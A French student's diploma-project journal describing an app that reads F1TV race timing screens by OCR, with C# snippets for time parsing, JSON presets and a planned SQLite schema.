Window.cs: Code/Window.cs # An path to an annex with its title - DriverData.cs: Code/DriverData.cs # An path to an annex with its title - DriverLapTimeWindow.cs: Code/DriverLapTimeWindow.cs # An path to an annex with its title - DriverSectorWindow.cs: Code/DriverSectorWindow.cs # An path to an annex with its title - Form1.cs: Code/Form1.cs # An path to an annex with its title - Reader.cs: Code/Reader.cs # An path to an annex with its title - Zone.cs: Code/Zone.cs # An path to an annex with its title - DriverDrsWindow.cs: Code/DriverDrsWindow.cs # An path to an annex with its title - DriverNameWindow.cs: Code/DriverNameWindow.cs # An path to an annex with its title - DriverTyresWindow.cs: Code/DriverTyresWindow.cs # An path to an annex with its title - OcrImage.cs: Code/OcrImage.cs # An path to an annex with its title - Settings.cs: Code/Settings.cs # An path to an annex with its title - recoverCookiesCSV.py: Code/recoverCookiesCSV.py # An path to an annex with its title Je remercie Monsieur Briard le sultan officiel de Mkdocs de la classe de m'avoir aid\u00e9 pour cette partie et avoir cr\u00e9\u00e9 un plugin qui me permet de mettre mon code source directement dans le pdf. Bon au final j'ai quand m\u00eame chang\u00e9 mon poster \"Poster V8\" Mais je suis trop attach\u00e9 \u00e0 l'ancien concept alors je vais plut\u00f4t utiliser ca : \"Poster V9\" Je pense que cette version est meilleure m\u00eame si elle est encore plus en bordel par ce que le texte permet de se faire une meilleure id\u00e9e de l'utilis\u00e9 de chaque partie. Mercredi 10 Mai 2023 Bon hier je n'ai pas eu le temps de finir la documentation de la recup\u00e8ration d'images et de la calibration. Il faudra donc que je repasse un coup dessus en fin de semaine je pense. Mais la j'aimerais avancer sur la mise en commun du projet, comme la configuration fonctionne plut\u00f4t pas mal je pense que je vais juste vite fait aller commenter les methodes qui ne le sont pas encore et ensuite je vais passer \u00e0 l'impl\u00e9mentation de l'OCR. Je suis presque certain que l'OCR va avoir besoin de plus de r\u00e8glages mais bon on verra bien. Je me rend compte en commentant que la methode de load serait plus efficace avec un tout petit peu plus d'infos de la part du JSON. J'aurais pu ajouter l'offset entre chaque Driver Zone pour eviter un l\u00e8ger drift lors de la reconstruction. Mais bon rien de grave donc je pense que je vais le laisser comme ca pour le moment \u00e0 moins que ca me pose soucis plus tard. J'ai eu quelques soucis avec les images en 4K. Du coup j'ai descendu les variables d'environnement \u00e0 1920x1080 En fait il y a parfois un soucis un peu p\u00e9nible avec l'OCR. Parfois pour un temps comme ci dessous: \"1:45.140\" Le programme ne va pas bien comprendre les ponctuations et il va donner : 1115140 La il y a deux probl\u00e8mes... Le 1:xx.xxx est compris comme 11xxxxx et le 4 s'est transform\u00e9 en 1... J'ai cr\u00e9\u00e9 ce \"petit\" bout de code pour g\u00e8rer les fois ou les '.' et les ':' ont mal \u00e9t\u00e9 interpr\u00eat\u00e9s if ( rawNumbers . Count == 1 ) { //If this code is used it means that its bad ... //The methods that comes are really not that great and are juste quick fixes try { result = Convert . ToInt32 ( rawNumbers [ 0 ]); switch ( windowType ) { case OcrImage . WindowType . Sector : //The usual sector is in this form : 33.456 if ( rawNumbers [ 0 ]. Length == 6 ) { //The '.' has been understood like a number result = 0 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ] + rawNumbers [ 0 ][ 1 ]) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 3 ] + rawNumbers [ 0 ][ 4 ] + rawNumbers [ 0 ][ 5 ]); } if ( rawNumbers [ 0 ]. Length == 5 ) { //The '.' has been overlooked result = 0 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ] + rawNumbers [ 0 ][ 1 ]) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ] + rawNumbers [ 0 ][ 3 ] + rawNumbers [ 0 ][ 4 ]); } break ; case OcrImage . WindowType . LapTime : //The usual Lap time is in this form : 1:45:345 if ( rawNumbers [ 0 ]. Length == 6 ) { //The '.' and ':' have been overlooked //I Know Im skipping the cases where there are more than 9 minuts but it happens so rarely that... we dont care result = 0 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]) * 60000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ] + rawNumbers [ 0 ][ 2 ]) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 3 ] + rawNumbers [ 0 ][ 4 ] + rawNumbers [ 0 ][ 5 ]); } if ( rawNumbers [ 0 ]. Length == 7 ) { //There is two possibilities //Either 1:45.140 has been interpreted as 1145.10 or 1:451140. We will assume its the first one result = 0 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]) * 60000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ] + rawNumbers [ 0 ][ 3 ]) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 4 ] + rawNumbers [ 0 ][ 5 ] + rawNumbers [ 0 ][ 6 ]); } break ; case OcrImage . WindowType . Gap : //The usual Gap is in this form : + 34.567 if ( rawNumbers [ 0 ]. Length == 5 ) { //The '.' has been overlooked result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ] + rawNumbers [ 0 ][ 1 ]) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ] + rawNumbers [ 0 ][ 3 ] + rawNumbers [ 0 ][ 4 ]); } break ; } if ( rawNumbers [ 0 ]. Length > 6 ) { //The number definitely has been interpreted wrong } } catch { //It can be because the input is empty or because its the LEADER bracket result = 0 ; } } else { //Auuuugh result = 0 ; } ConfigFile = \"./Presets/Clean_2023.json\" ; string gpUrl = \"https://f1tv.formula1.com/detail/1000006688/2023-azerbaijan-grand-prix?action=play\" ; Bon je n'arrive pas \u00e0 faire fonctionner l'OCR sans tout faire crash \u00e0 chaque fois. Je vais abandonner le travail de la journ\u00e9e pour revenir au point initial... C'est tr\u00e8s frustrant mais bon je ne vois pas comment faire mieux. Rien ne marche alors qu'avant ca marchant super sur le projet OCR normal. Va savoir pourquoi m\u00eame comme ca, impossible de faire marcher l'OCR. Il y a un soucis au niveau de l'ASYNC qui me fait crash tout le temps en me disant qu'un objet est deja en train d'\u00eatre utilis\u00e9. Ca marchait nikel dans mes premi\u00e8res version je ne vois pas pourquoi ca p\u00eate maintenant. Je pense que je vois \u00e0 peu pr\u00e8s le soucis. public virtual async Task < DriverData > Decode ( List < string > driverList ) { int sectorCount = 0 ; DriverData result = new DriverData (); Parallel . ForEach ( Windows , async w => { // A switch would be prettier but I dont think its supported in this C# version if ( w is DriverNameWindow ) result . Name = ( string ) await ( w as DriverNameWindow ). DecodePng ( driverList ); if ( w is DriverDrsWindow ) result . DRS = ( bool ) await ( w as DriverDrsWindow ). DecodePng (); if ( w is DriverGapToLeaderWindow ) result . GapToLeader = ( int ) await ( w as DriverGapToLeaderWindow ). DecodePng (); if ( w is DriverLapTimeWindow ) result . LapTime = ( int ) await ( w as DriverLapTimeWindow ). DecodePng (); if ( w is DriverPositionWindow ) result . Position = ( int ) await ( w as DriverPositionWindow ). DecodePng (); if ( w is DriverSectorWindow ) { sectorCount ++; if ( sectorCount == 1 ) result . Sector1 = ( int ) await ( w as DriverSectorWindow ). DecodePng (); if ( sectorCount == 2 ) result . Sector2 = ( int ) await ( w as DriverSectorWindow ). DecodePng (); if ( sectorCount == 3 ) result . Sector3 = ( int ) await ( w as DriverSectorWindow ). DecodePng (); } if ( w is DriverTyresWindow ) result . CurrentTyre = ( Tyre ) await ( w as DriverTyresWindow ). DecodePng (); }); return result ; } Ca c'est ma methode de decoding de chaque Driver Zone. Le message d'erreur me parle d'une windowImage quand il dit qu'un objet est d\u00e9ja utilis\u00e9. Ma conjecture c'est que en essayant de faire toutes les windows en m\u00eame temps. Elles veulent parfois acc\u00e8der \u00e0 l'image principale en m\u00eame temps. Ce qui evidemment pose probl\u00e8me. Je pense que le fix le plus simple serait de faire le traitement sans le parallele quitte \u00e0 exporter ce fonctionnement sur chaque zone en elle m\u00eame pour ne pas perdre trop de performances. Ok je crois que je vois ou est le soucis. En fait dans cette version du programme c'est toujours la premi\u00e8re image qui \u00e9tait juste tout le temps prise et dans la premi\u00e8re image on a une partie des chiffres qui est bloqu\u00e9e par l'UI de la fen\u00eatre... lol... EN FAIT J'avais un soucis dans ma gestion des chiffres mal faits. Visiblement parfois quand je ne prenais pas en compte un :, un LapTime etait compris comme un Gap to leader ou un Secteur Bon j'en ai tellement marre... Je n'arrive tout simplement PAS \u00e0 faire fonctionner l'OCR ca crash tout le temps j'en peux plus. J'ai tent\u00e9 de r\u00e8gler les probl\u00e8mes de mauvaises detections de secteurs et temps au tour qui font crasher l'app : if ( rawNumbers . Count == 2 ) { //ss:ms result = ( Convert . ToInt32 ( rawNumbers [ 0 ]) * 1000 ) + Convert . ToInt32 ( rawNumbers [ 1 ]); if ( result > ( 60000 + 999 )) { if ( windowType == OcrImage . WindowType . LapTime ) { result = 0 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]) * 60000 ; result += Convert . ToInt32 ( rawNumbers [ 0 ][ 2 ]. ToString () + rawNumbers [ 0 ][ 3 ]. ToString ()) * 1000 ; result += Convert . ToInt32 ( rawNumbers [ 1 ]); } if ( windowType == OcrImage . WindowType . Sector ) { int seconds = 0 ; if ( rawNumbers [ 0 ]. Length == 3 ) { //We have one char that we need to delete //For no apparent reason im going to delete the first seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString ()); } else { seconds = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString () + rawNumbers [ 0 ][ 1 ]. ToString ()); } int ms = Convert . ToInt32 ( rawNumbers [ 0 ][ 0 ]. ToString () + rawNumbers [ 0 ][ 1 ]. ToString () + rawNumbers [ 0 ][ 2 ]. ToString ()); result = seconds * 1000 + ms ; } } } Mais toujours impossible de faire fonctionner cette M**** C'est juste infernal. Je pense que je vais encore tout retirer et remplacer par ce que j'ai dans mon projet OCR original. Donc c'est une journ\u00e9e de perdue compl\u00eatement... C'est extr\u00eamement frustrant. Apr\u00e8s des heures de debug j'ai enfin r\u00e9ussi \u00e0 faire fonctionner le programme de temps en temps. Mais j'ai toujours le soucis que l'image ne veut pas changer alors que je fais tout pour et que l'OCR est nulle \u00e0 chier du coup... Jeudi 11 Mai 2023 Bon apr\u00e8s une bonne nuit de sommeil je vais reprendre les choses depuis le d\u00e9but. J'ai deux soucis : L'OCR pue du derche L'Image que l'on d\u00e9code ne change pas Pour la premi\u00e8re partie j'ai ma petite th\u00e9orie. Je pense que comme je donne des images 4K alors que le feed est en 1080P, il y a d\u00e9ja un genre d'interpolation qui est faite. Je pense donc qu'il faut que j'adapte mon engine pour qu'il fonctionne avec cette r\u00e9solution. Je me suis demand\u00e9 si ca n'\u00e9tait pas mieux de prendre en compte les deux r\u00e9solutions pour les pc un peu moins bal\u00e8zes et j'ai d\u00e9cid\u00e9 de n'en avoir rien a faire. On verra dans le futur si c'est une feature que je voudrais ajouter mais c'est en dehors du scope du dipl\u00f4me je pense. Pour la seconde partie, je pense qu'il faut que j'aille voir du c\u00f4te de OCR_Decode et de OCR Tester pour voir comment je faisais. Je dois forc\u00e9ment oublier un truc. Bon ca commence mal, quand je vais voir dans le projet OCR_Decode, le changement d'image est exactement le m\u00eame et il fonctionne alors que de mon c\u00f4t\u00e9 ca n'est pas le cas. Alors deux choses. Je me rend compte que le changement d'images n'a AUCUN effet sur la detection de texte, et seconde chose, le d\u00e9calage est trop grand entre les windows. Des que le soucis d'image est r\u00e8gl\u00e9 il va falloir que je change drastiquement ma facon de stocker la config en JSON. Il faut que je conserve les \u00e9carts. Sinon regardez ce que ca donne quand on arrive au dernier pilote : \"Zone de pilote d\u00e9cal\u00e9e\" Je commence \u00e0 devenir FOU. Je n'arrive pas \u00e0 changer cette foutue image wtf... J'ai beau tenter par tous les moyens de la changer par une image noire, l'image semble toujours rester celle du d\u00e9part. Bon j'ai enfin trouv\u00e9 pourquoi et je n'ai pas envie de dire comment j'ai trouv\u00e9... Je pense que l'on a tous droit \u00e0 son petit jardin secret. Maintenant ca veut dire que je peux me focus sur le concept important qui est le changement de la cr\u00e9ation et de la lecture des JSON. Voici un exemple de preset JSON : { \"Main\" : { \"x\" : 40 , \"y\" : 355 , \"width\" : 3784 , \"height\" : 1438 , \"Zones\" : [ { \"DriverZone\" : { \"x\" : 0 , \"y\" : -10 , \"width\" : 3784 , \"height\" : 71 , \"Windows\" : [ { \"Position\" : { \"x\" : 47 , \"y\" : 11 , \"width\" : 72 }, \"GapToLeader\" : { \"x\" : 445 , \"y\" : 13 , \"width\" : 201 }, \"LapTime\" : { \"x\" : 859 , \"y\" : 14 , \"width\" : 221 }, \"DRS\" : { \"x\" : 1094 , \"y\" : 13 , \"width\" : 173 }, \"Tyres\" : { \"x\" : 1270 , \"y\" : 11 , \"width\" : 1452 }, \"Name\" : { \"x\" : 2727 , \"y\" : 11 , \"width\" : 351 }, \"Sector1\" : { \"x\" : 3083 , \"y\" : 10 , \"width\" : 253 }, \"Sector2\" : { \"x\" : 3339 , \"y\" : 14 , \"width\" : 195 }, \"Sector3\" : { \"x\" : 3518 , \"y\" : 14 , \"width\" : 250 } } ] } } ] }, \"Drivers\" : [ \"Perez\" , \"Leclerc\" , \"Sainz\" , \"Alonso\" , \"Stroll\" , \"Russel\" , \"Verstappen\" , \"Zhou\" , \"Ocon\" , \"Hulkenberg\" , \"Hamilton\" , \"Norris\" , \"Tsunoda\" , \"Magnussen\" , \"Piastri\" , \"Albon\" , \"Gasly\" , \"Sargeant\" , \"Bottas\" , \"De Vries\" ] } Je pense que ce qui serait bien ce serait de rajouter un \"offsets\" qui contienne les 19 \u00e9carts restants. Bon... la structure de ma fabrication de JSON etait trop confuse je trouve alors je l'ai compl\u00eatement refaite. J'ai aussi abandonn\u00e9 l'id\u00e9e de faire un fichier le plus petit possible car au final on s'en fiche et le plus important c'est que toutes les windows et les zones soient aux bons endroits. Ca nous fait un fichier d'environs 1300 lignes mais au moins le code pour la serialisation est plut\u00f4t clean : public void SaveToJson ( List < string > drivers , string configName ) { string JSON = \"\" ; JsonObject jsonFileObject = new JsonObject (); //Creating the mainZone object JsonObject mainZoneObject = new JsonObject (); mainZoneObject . Add ( \"x\" , MainZone . Bounds . X ); mainZoneObject . Add ( \"y\" , MainZone . Bounds . Y ); mainZoneObject . Add ( \"width\" , MainZone . Bounds . Width ); mainZoneObject . Add ( \"height\" , MainZone . Bounds . Height ); JsonArray driverZonesArray = new JsonArray (); int DriverID = 0 ; foreach ( Zone driverZone in MainZone . Zones ) { DriverID ++; JsonObject driverZoneObject = new JsonObject (); driverZoneObject . Add ( \"name\" , \"Driver\" + DriverID ); driverZoneObject . Add ( \"x\" , driverZone . Bounds . X ); driverZoneObject . Add ( \"y\" , driverZone . Bounds . Y ); driverZoneObject . Add ( \"width\" , driverZone . Bounds . Width ); driverZoneObject . Add ( \"height\" , driverZone . Bounds . Height ); JsonArray windowsArray = new JsonArray (); JsonObject windowObject = new JsonObject (); foreach ( Window window in driverZone . Windows ) { windowObject . Add ( window . Name , new JsonObject { { \"x\" , window . Bounds . X }, { \"y\" , window . Bounds . Y }, { \"width\" , window . Bounds . Width }, { \"height\" , window . Bounds . Height } }); } windowsArray . Add ( windowObject ); driverZoneObject . Add ( \"Windows\" , windowsArray ); driverZonesArray . Add ( driverZoneObject ); } mainZoneObject . Add ( \"DriverZones\" , driverZonesArray ); JsonArray driversArray = new JsonArray (); foreach ( string driver in drivers ) { driversArray . Add ( driver ); } mainZoneObject . Add ( \"Drivers\" , driversArray ); jsonFileObject . Add ( \"Main\" , mainZoneObject ); JSON = jsonFileObject . ToString (); //Saving the file string path = CONFIGS_FOLDER_NAME + configName ; if ( File . Exists ( path + \".json\" )) { //We need to create a new name int count = 2 ; while ( File . Exists ( path + \"_\" + count + \".json\" )) { count ++; } path += \"_\" + count + \".json\" ; } else { path += \".json\" ; } File . WriteAllText ( path , JSON ); } Et normalement la lecture devrait \u00eatre encore plus simple. En fait c'\u00e9tait pas beaucoup plus simple mais au moins maintenant ca marche. Je vais pas mettre le code de lecture ici car c'est un peu trop long donc il va falloir me croire sur parole. (Ou aller sur Git) Bon bah on est au m\u00eame endroit qu'hier... Bon pour demain le plan de bataille ca va \u00eatre : Changer compl\u00eatement la methode \"GetTimeFromPng\" pour qu'elle prenne en compte toutes les possibilit\u00e9s de bugs et d'oubli de '.' ou de ':' mais pas selon le nombre de blocs mais selon le type de temps que l'on cherche Pour le moment je regarde le nombre de blocs et si il y en a deux alors c'est que c'est un temps de secteur. En fait non cela peut aussi \u00eatre un temps au tour qui a rat\u00e9 un point. Il faut que je bosse juste un peu vite fait la dessus et que j'arr\u00eate de putain de crasher d\u00e8s que un truc est pas au bon format. Ensuite quand ca aura arr\u00eat\u00e9 de crasher je vais reprendre l'OCR et voir pourquoi les resultats sont nuls a chier comme ca. Et le but c'est que demain soir j'ai une reconnaissance de caract\u00e8res plus proche de ce que j'avais dans d'autres projets... J'y croit 0 mais bon l'espoir fait vivre comme on dit. vendredi 12 Mai 2023 Bon aujourd'hui il faut que ca marche. On va y aller par \u00e9tape. Je vais revoir toutes les methodes d'OCR et essayer de r\u00e9apliquer les filtres differemment et revenir au point de d\u00e9part. Avant de commencer je note plusieurs soucis avec les premiers tests : Les positions des pilotes ont l'air pas mal (Pas besoin de tout changer mais peut-\u00eatre simplement checker que les filtres sont bons) L'\u00e9cart avec le leader est \u00e9tonnamment pas mal aussi Le temps au tour est tout simplement horrible. Aucun n'est juste et de tr\u00e8s loin m\u00eame si les d\u00e9cimales ne sont pas forc\u00e9ment loin Le DRS je n'ai pas eu l'occasion de bien le tester mais je dirais que ca devrait \u00eatre bon (\u00e0 verifier quand le reste sera bon) Les pneus ne sont \u00e9tonnamment pas SI horribles, m\u00eame si parfois les lettres sont prises comme des chiffres Les noms de pilotes sont tr\u00e8s bon (pas \u00e9tonnant vu le syst\u00e8me de distance de Levenstein donc ca m\u00e9rite quand m\u00eame un petit check) Les secteurs sont en g\u00e9n\u00e9ral horribles mais pas toujours. C'est peut-\u00eatre un soucis de d\u00e9cimale ou des 4 qui se transforment en 1 J'ai remarqu\u00e9 que les 4 sont souvent pris comme des 1. Peut-\u00eatre que en ayant des images 4K l'interpolation est un peu diff\u00e9rente de ce que j'ai l'habitude de voir. Mais donc le plan aujourd'hui c'est de checker tous ces points et les faire fonctionner (youpi...) J'ai d\u00e9sactiv\u00e9 toutes les methodes de cette facon : int sectorCount = 0 ; DriverData result = new DriverData (); foreach ( Window w in Windows ) { // A switch would be prettier but I dont think its supported in this C# version if ( w is DriverNameWindow ) //result.Name = (string)await (w as DriverNameWindow).DecodePng(driverList); result . Name = \"Unknown\" ; if ( w is DriverDrsWindow ) //result.DRS = (bool)await (w as DriverDrsWindow).DecodePng(); result . DRS = false ; if ( w is DriverGapToLeaderWindow ) //result.GapToLeader = (int)await (w as DriverGapToLeaderWindow).DecodePng(); result . GapToLeader = 0 ; if ( w is DriverLapTimeWindow ) //result.LapTime = (int)await (w as DriverLapTimeWindow).DecodePng(); result . LapTime = 0 ; if ( w is DriverPositionWindow ) //result.Position = (int)await (w as DriverPositionWindow).DecodePng(); result . Position = 0 ; if ( w is DriverSectorWindow ) { sectorCount ++; if ( sectorCount == 1 ) //result.Sector1 = (int)await (w as DriverSectorWindow).DecodePng(); result . Sector1 = 0 ; if ( sectorCount == 2 ) //result.Sector2 = (int)await (w as DriverSectorWindow).DecodePng(); result . Sector2 = 0 ; if ( sectorCount == 3 ) //result.Sector3 = (int)await (w as DriverSectorWindow).DecodePng(); result . Sector3 = 0 ; } if ( w is DriverTyresWindow ) //result.CurrentTyre = (Tyre)await (w as DriverTyresWindow).DecodePng(); result . CurrentTyre = new Tyre ( Tyre . Type . Undefined , 0 ); } return result ; Le but c'est que ensuite je puisse y aller \u00e9tape par \u00e9tape. Position : Alors pour cette reconnaissance je dirais que la 4K fait des merveilles qui permettent de retirer du processing. La position apr\u00e8s un simple Treshold est assez bien reconnue et la dilataion et/ou Erosion ne sont pas nescessaires finalement. On va donc pouvoir gagner un certain temps et c'est un bon signe pour la suite. On peut aussi noter que quand un pilote est hors course toutes ses valeurs sont gris\u00e9es et sa position est prise comme un -1 Sectors, alors j'ai refait toute la partie qui concerne les secteurs et qui les nettoie. Et je me suis rendu compte qu'ils \u00e9taient bien souvent juste, le seul truc c'est que ils s'affichent de mani\u00e8re un peu sp\u00e9ciale. En fait dans la page de la F1TV les secteurs peuvent faire plus de 60 secondes sans passer sur un affichage de minutes. Ce qui fait que c'est un peu bizarre \u00e0 regarder mais c'est parfaitement juste. J'ai aussi pu simplifier la reconnaissance gr\u00e2ce \u00e0 l'image de meilleure qualit\u00e9 et maintenant les temps de secteur sont plut\u00f4t corrects. En fait le plus long et complexe c'est de pr\u00e9voir les cas particuliers ou un '.' a \u00e9t\u00e9 mal interpr\u00eat\u00e9... Et en parlant de ca, je vais aller m'occuper des temps au tour qui ajoutent une couche de complexit\u00e9 avec un '.' ET un ':' qui peuvent \u00eatre oubli\u00e9s... Oh et j'y pense, un truc malin pourrait \u00eatre de comparer les temps au tour et les temps de secteur. Ils devraient concorder normalement je pense. Ok je viens de finir la gestion des temps au tour... J'ai un code de genre 170 lignes pour juste nettoyer le resultat dans le cas ou des '.' n'ont pas \u00e9t\u00e9 trouv\u00e9s ou des ':' ont \u00e9t\u00e9 n'ont pas \u00e9t\u00e9 trouv\u00e9 ou si l'un des deux s'est transform\u00e9 en chiffre etc.. etc.. etc.. Le soucis c'est que la maintenant je me rend compte que les \u00e9carts entre les pilotes vont juste \u00eatre un enfer \u00e0 nettoyer... Ils peuvent aussi bien \u00eatre \"0.760\" comme \"1:34.456\" du coup... je sais pas vraiment comment faire pour tout nettoyer. Je pense que je vais juste en avoir rien \u00e0 faire et tant pis si de temps en temps c'est pas g\u00e9nial. Bon du coup j'ai pas pris en compte TOUS les cas possibles mais d\u00e9ja un certain nombre et c'est d\u00e9ja pas mal. Sur les diff\u00e9rents Grand Prix d'exemples ca a l'air de plut\u00f4t bien tourner ! Mais ca demande tellement de tests et de code que c'est un peu ridicule... La methode \"GetTimeFromPng\" fait d\u00e9ja presque 430 lignes \u00e0 cause de tous les cas possibles et tous les try catch. Ca peut para\u00eetre peu \u00e9l\u00e9gant mais j'ai essay\u00e9 de mettre des commentaires un peu partout pour permettre \u00e0 nimporte qui de comprendre ce qui se passe. J'ai aussi pu faire les pneus et maintenant (roulement de tambour) Ca marche (presque) En fait j'ai des soucis parfois quand les pneus sont un peu cach\u00e9s dans les permiers tours : Pneus cach\u00e9s Le soucis c'est que du coup le chiffre est un peu illisible... mais je pense que avec l'historique il devrait y avoir moyen de ne pas prendre en compte les chiffres de pneus pendant cinq tours apr\u00e8s le changement de pneu ou de simplement tenter de faire les calculs de pneus. Pour conclure la journ\u00e9e je pense que je devrais avoir le temps de faire un syst\u00e8me qui permet de refresh \u00e0 volont\u00e9. Par contre je viens de d\u00e9couvrir que quand un temps de secteur est en couleur on arrive pas \u00e0 le lire. Ah et la detection prend un peu moins de trois secondes sur mon pc je crois. Mais c'est seulement si les driver zones sont faites en m\u00eame temps mais en faisant ca de temps en temps ca crash et \u00e0 chaques fois c'est d'un endroit diff\u00e9rent du coup je comprend pas vraiment. Sinon ca prend dix secondes. Lundi 15 Mai 2023 Aujourd'hui c'est journ\u00e9e poster et visites. Comme on va avoir des visites de premi\u00e8res ann\u00e9es voire de terminales et que le soir c'est visite des parents. Je pense que j'ai finit de tout regrouper (\u00e0 part \u00e9videmment le traitement et le stockage des donn\u00e9es) ce qui veut dire que je suis pas dans une superbe posture. Il va falloir que je sois tr\u00e8s efficace dans la partie stockage de donn\u00e9es et mise en place du mod\u00e8le si je veux avoir une chance de rendre un joli travail de dipl\u00f4me. (et m\u00eame comme ca je peux voir que le temps commence \u00e0 manquer) Dans l'id\u00e9al je devrais avoir termin\u00e9 la partie stockage jeudi... Ce qui veut dire que je n'ai que trois jours pour le faire et que en plus jeudi je dois travailler depuis la maison. Ca va pas \u00eatre simple. Mais aujourd'hui je vais m'occuper d'adapter la documentation de l'OCR et faire la documentation de toute la partie r\u00e9cup\u00e8ration d'images et de la calibration. Bon au final la journ\u00e9e a \u00e9t\u00e9 un peu difficile. On a pas vraiment pu travailler l'apr\u00e8s midi car il a fallu pr\u00e9senter le projet environs 10 fois \u00e0 toutes les classes et \u00e0 des parents voire futurs experts. Les d\u00e9mos ont plut\u00f4t bien fonctionn\u00e9es j'en suis assez content. Mais ca veut dire que la partie doc a pas forc\u00e9ment pu \u00eatre totalement compl\u00eat\u00e9e mais demain il va falloir que je m'occupe de la suite du projet. Mardi 16 Mai 2023 Bon aujourd'hui c'est la partie stockage qui doit \u00eatre faite. Il y a plusieurs solutions possibles \u00e0 ce probl\u00e8me. Mais comme je n'ai besoin que d'une base de donn\u00e9e locale et que je ne veux pas que chaque utilisateur doive installer un serveur sur sa machine je pense que je vais utiliser une base de donn\u00e9es SQLITE. Il y a eu une petit intervention de mr Bonvin qui est venu me donner une id\u00e9e pour la partie OCR. En fait j'avais un soucis quand je voulais d\u00e9coder du texte de couleur. M\u00eame en appliquant un filtre de gris je n'arrivais pas \u00e0 faire reconnaitre les chiffres. Et il m'a dit que une bonne id\u00e9e cela pourrait de prendre la valeur max de chaque channel et de la faire appliquer \u00e0 tous ce qui blanchit assez bien l'image. J'ai d\u00e9cid\u00e9 d'exag\u00e8rer le blanchiment et cela donne des r\u00e9sultats plut\u00f4t... int\u00e9ressants... \"Filtre vanish oxy action sur un secteur violet\" Le soucis c'est que le violet est une couleur quand m\u00eame assez sombre alors il va falloir que je fasse un syst\u00e8me de treshold un peu sp\u00e9cial qui soit un peu plus sympa et qui prenne plus facilement des couleurs plus basses. Une methode \u00e0 laquelle j'ai pens\u00e9 pour detecter dans quel tour chaque pilote est serait de garder en m\u00e9moire toutes les infos de chaques pilotes au fur et \u00e0 mesure, et d\u00e8s qu'on ne recoit plus d'infos des secteurs ou que le temps au tour a chang\u00e9 on peut savoir qu'il faut passer au tour suivant. Pour detecter les arr\u00eats aux stands je peux essayer de detecter un changement de type de pneus ou de nombre de tours detect\u00e9s sur le m\u00eame pneu Au d\u00e9part je me disais que je pourrais peut-\u00eatre faire une base de donn\u00e9e SQLITE locale qui puisse \u00eatre reprise d'un Grand Prix \u00e0 un autre. Mais je me suis dit que de faire des statistiques inter Grand Prix \u00e9tait un peu en dehors du scope du projet. La base de donn\u00e9e sera donc cr\u00e9\u00e9e \u00e0 chaque d\u00e9marrage de l'app La mani\u00e8re dont je vois les choses en ce moment est qu'on aie deux sources de donn\u00e9es dans l'affichage final. On aurait une partie des infos qui seraient en direct depuis la detection : Les ecarts entre pilotes La position des pilotes Le dernier temps au tour Les derniers secteurs Les pneus Mais on aurait aussi des rubriques cr\u00e9\u00e9es de toutes pi\u00e8ces par des infos qui viennent de la BD Voici les rubriques qui pourraient \u00eatre int\u00e9ressantes \u00e0 voir dans l'interface finale : Les 3 ou 5 pilotes les plus rapides ces cinq derniers tours Le pilote qui a le plus fait de d\u00e9passements Les batailles en cours Les 3 pilotes les plus lents Un classement pond\u00e9r\u00e9 avec les 20s de moins pour tous les pilotes qui ne se sont pas encore arr\u00eat\u00e9s En gros l'id\u00e9e serait que on update une fois par tour et par pilote la base de donn\u00e9e avec des infos comme le temps au tour, le type de pneu etc... Voici les trois tables que je vais cr\u00e9er : Drivers Colonne Type de Data Description Tag ID INTEGER ID du pilote PRIMARY Name VARCHAR Nom du pilote NOT NULL Pitstops Colonne Type de Data Description Tag Lap INTEGER Tour durant lequel le Pitstop a \u00e9t\u00e9 effectu\u00e9 PRIMARY DriverID INTEGER Pilote qui a effectu\u00e9 le Pitstop PRIMARY Tyre VARCHAR Pneu chauss\u00e9 par le pilote NOT NULL Stats Colonne Type de Data Description Tag Lap INTEGER Tour durant lequel le Pitstop a \u00e9t\u00e9 effectu\u00e9 PRIMARY DriverID INTEGER Pilote qui concern\u00e9 PRIMARY Tyre VARCHAR Pneu chauss\u00e9 par le pilote NOT NULL LapTime INTEGER Temps au tour (MS) NOT NULL Sector1 INTEGER Temps du secteur 1 (MS) NOT NULL Sector2 INTEGER Temps du secteur 2 (MS) NOT NULL Sector3 INTEGER Temps du secteur 3 (MS) NOT NULL GapToLeader INTEGER Ecart avec le leader (MS) NOT NULL Position INTEGER Position pilote NOT NULL Ca n'est pas forc\u00e9ment d\u00e9finitif mais je pense que c'est d\u00e9ja un bon d\u00e9but pour faire des rubriques sympa. Je suis en train de tenter d'impl\u00e9menter le code pour permettre ensuite d'ajouter et retirer des choses facilement. Mercredi 17 Mai 2023 Aujourd'hui le but c'est de remplir la base SQLITE avec des infos. Si j'arrive \u00e0 tout remplir alors ca devrait pas \u00eatre trop compliqu\u00e9 de venir faire des requ\u00e8tes qui donnent de bonnes infos. Mais la probl\u00e9matique principale va \u00eatre de d\u00e9cider QUAND ins\u00e8rer des choses dans la base de donn\u00e9e. Je pense que le meilleur moyen serait de garder une liste de DriverData par pilote en piste qui puisse contenir toutes les data que l'on recoit. Et \u00e0 chaques fois que l'on veut ajouter \u00e0 cette liste on v\u00e9rifie si un tour a \u00e9t\u00e9 fait pour envoyer les data pr\u00e9c\u00e9dente et r\u00e9initialiser la liste. Il faut donc une liste de 20 listes de DriverData et une liste de int qui repr\u00e9senteront le num\u00e9ro du tour dans lequel chaque pilote se trouve. Pour detecter un arr\u00eat je pense que la meilleure mani\u00e8re est de regarder si le pilote a chang\u00e9 de place ou de type de pneu. Si je prend que les fois ou le pilote change place ET de pneus alors certains arr\u00eats pour ceux qui sont loins devant ou loins derri\u00e8re pourraient ne pas \u00eatre detect\u00e9s. Et si je ne prend que le changement de pneus cela pose un soucis car un pneu pourrait avoir \u00e9t\u00e9 